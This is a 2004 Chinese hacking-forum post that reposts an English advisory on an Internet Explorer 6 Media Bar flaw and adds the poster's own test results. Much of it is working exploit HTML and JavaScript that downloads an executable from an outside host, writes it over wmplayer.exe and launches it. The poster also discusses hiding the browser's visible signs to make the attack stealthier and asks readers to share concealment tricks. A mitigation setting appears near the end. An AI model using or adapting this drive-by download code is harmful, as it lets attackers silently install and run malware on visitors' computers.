论坛: 黑客进阶 标题: 关于MediaPlayer+IE6最新漏洞的简单研究 复制本贴地址    
作者: abctm [abctm]    版主   登录
关于MediaPlayer+IE6最新漏洞的简单研究

本文作者: zzzevazzz
文章出处: 灰色轨迹


Internet explorer 6 on windows XP allows exection of arbitrary code

DESCRIPTION :

Yesterday Liu Die Yu released a number series of advisories concerning
internet explorer
by combining on of these issues with an earlier issue I myself reported a
while back
You can construct a specially crafted webpage that can take any action on a
users system
including but not limited to, installing trojans, keyloggers, wiping the
users harddrive etc.


TECHNICAL EXPLAINATION :

Internet explorer 6 comes with a media sidebar in wich you can load and play
mediaclips
without even leaving the browser. when you instruct the mediabar to load a
file from an
unknown host or the HTTP status returned by an existing host indicates an
error
this media bar displays an error page inside the media bar namely

res://C:\WINDOWS\System32\browselc.dll/mb404.htm#path

res URL's are treated as being in the "my computer zone" and are loaded from
the users filesystem
perfect conditions for the issue I describe on
http://www.mail-archive.com/full-di...m/msg06791.html

To work. now all that is needed is a way to inject this exploit code into
this page
This method was graciously provided by Liu Die Yu as you can read on
http://www.securityfocus.com/archiv...08/2003-09-14/0

Combining these issues we get something like :

--snip--

<textarea id="code" style="display:none;">

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://ip3e83566f.speed.planet.nl/1.exe";,0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";;

</textarea>

<script language="javascript">

function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {

line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");

if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}

function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:java script:eval('" + mycode + "')";
window.open(myURL,"_media")
}


window.open("error.jsp","_media");

setTimeout("doit()", 5000);


</script>

--snip--

error.jsp is a jsp page that consists of one line, namely

<% response.setStatus(HttpServletResponse.SC_UNAUTHORIZED); %>


DEMONSTRATION :

A demonstration is provided at :
http://ip3e83566f.speed.planet.nl/h...y-chinese/5.htm


WORKAROUND :

Disable active scripting or do "the sensible thing" and pick another browser
such as the
excellent mozilla firebird.



这个漏洞只有IE6.0及以上版本才有。因为从IE6开始支持类似下面的java script:window.open("http://ip/";,"_media");
问题主要出在这里。

以下所有代码均在XP+WMP8.0+IE6.01+IIS6.0环境测试通过。
其中xp和IE已由windows update更新截止到发贴时的微软补丁。(但还是有漏洞)

先看下面这段代码:
<html>
<body>
<textarea id="code" style="display:none">
var s=new ActiveXObject(\"ADODB.Stream\");s.Type=2;s.Open();s.WriteText(\"ie bug test ok\");s.SaveToFile(\"c:\\\\bugtest.txt\",1);
</textarea> <!注意,textarea中不换行>
<script>
url="file:java script:eval(decodeURI(\""+document.all.code.value+"\"))" //注意,论坛自动在"javascript"中插入空格
window.open(url,"_media"); //主要关注这一句
</script>
write a file bugtest.txt to c:
</body>
</html>

将代码保存为ie6bug.htm,然后本地用IE打开。
结果在c盘生成一个名为bugtest.txt的文件,而打开的IE窗口多了一个“媒体栏”。
将ie6bug.htm放到IIS里,通过http://ip/ie6bug.htm访问,漏洞仍然有效。
是不是觉得有些“恐怖”了。

如果把window.open(url,"_media")改为window.open(url),则会有安全警告“此计算机上的安全设置禁止访问其他域的数据源”。
这是在预料中的。不管是本地打开html文件还是访问web时,IE的“域环境”都是“Internet”。一般情况下只能读写IE缓存等少数几个地方。
但微软似乎犯了个错误,当新窗口启用“媒体栏”时,“域环境”变成了“我的电脑”,即本地域。
单独执行window.open("about :blank","_media");就可以在IE状态栏看到这个变化。

然而,并不全是"_media"的错。如果去掉url中的"file:",在本地打开没问题。
但作为网页远程访问时,会警告“没有权限”。
至于为什么"_media"+"file:"会造成“域环境”变化,我不知道。

顺便说一下,用"_search"代替"_media"不会产生漏洞。

能够任意写程序到本地后,接着就是让程序运行了。
漏洞介绍中用的办法是:下载恶意程序覆盖wmplayer.exe,然后location.href="mms:";
这样,在windows文件保护起效前调用wmplayer.exe,恶意程序就执行了。
也可以替换telnet.exe,用location.href="telnet:"执行。
道理很简单,但要有实用价值还要解决“隐蔽性”问题。

当target="_media"时,总会出现“媒体栏”,即使使用<iframe>、<frame>等“框住”:
<iframe src="url" target="_media" height="1" width="1"></iframe>

先打开一个新窗口,再window.open(url,"_media"),然后关闭窗口也不行。
父窗口和子窗口都会出现“媒体栏”。子窗口可以被关闭,但父窗口不行。

用showModalDialog代替open还是不行。

试了很多办法都不能隐藏“媒体栏”。
漏洞介绍中使用的方法是:
先window.open(url,"_media")再window.open("error.jsp","_media")
通过访问error.jsp返回一个错误,这样“媒体栏”就消失了。
这个办法我测试不成功,因为打了补丁。
但微软的补丁似乎只是让返回错误时,“媒体栏”不消失。可是“域环境”变化仍然发生,所以漏洞仍然存在。
事实上,只要恶意程序能被运行,那么查找新窗口名并关闭它,然后开个正常的,这样就比较隐蔽了。
对于xp,同类窗口集合在一个任务栏窗口。所以窗口数变化并不明显。

谁找到好的隐藏办法,请共享一下吧。

我把漏洞介绍中的代码修改了一下,去掉消除“媒体栏”的功能(因为打了补丁就没用了)。

<html>
<body>
<textarea id="code" style="display:none">
var h=new ActiveXObject("Microsoft.XMLHTTP");
h.open("GET","http://www.sometips.com/soft/msconfig.exe";,false);
h.send();
var s=new ActiveXObject("ADODB.Stream");
s.type=1;
s.open();
s.write(h.Responsebody);
s.savetofile("c:\\program files\\windows media player\\wmplayer.exe",2);
s.close;
location.href="mms:";
</textarea>
<script>
var url=document.all.code.value;
url=url.replace(/\r\n/g,"");
url=url.replace(/\\/g,"\\\\");
url=url.replace(/\"/g,"\\\"");
url=url.replace(/\//g,"%2f");
window.open("file:java script:eval(decodeURI(\""+url+"\"))","_media"); //注意,论坛自动在"javascript"中插入空格
</script>
ie6 bug test.
</body>
</html>

测试代码前,请先备份wmplayer.exe。虽然windows文件保护会恢复它,但以防万一。
执行结果是运行了程序:英文版msconfig.exe。
程序是从sometips下载的,大小101k。如果网速慢,代码页打开也较慢。
如果WFP恢复文件时,msconfig正在运行,会在windows media player目录下生成一个tmp文件,其实它就是msconfig.exe。

堵住漏洞的办法很简单:IE-》工具-》Internet选项-》高级-》多媒体:"不在媒体栏显示联机媒体内容",选上它就可以了。
大家赶紧设置好,免得又中了XX“黑客”网站的招。



地主 发表时间: 04-02-10 22:43

回复: NetPolaris [newmyth21]   论坛用户   登录


B1层 发表时间: 04-02-11 06:47

回复: Anubis [shajia2646]   论坛用户   登录


B2层 发表时间: 04-02-11 13:57

回复: bailove [bailove]   论坛用户   登录


B3层 发表时间: 04-02-11 23:13

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号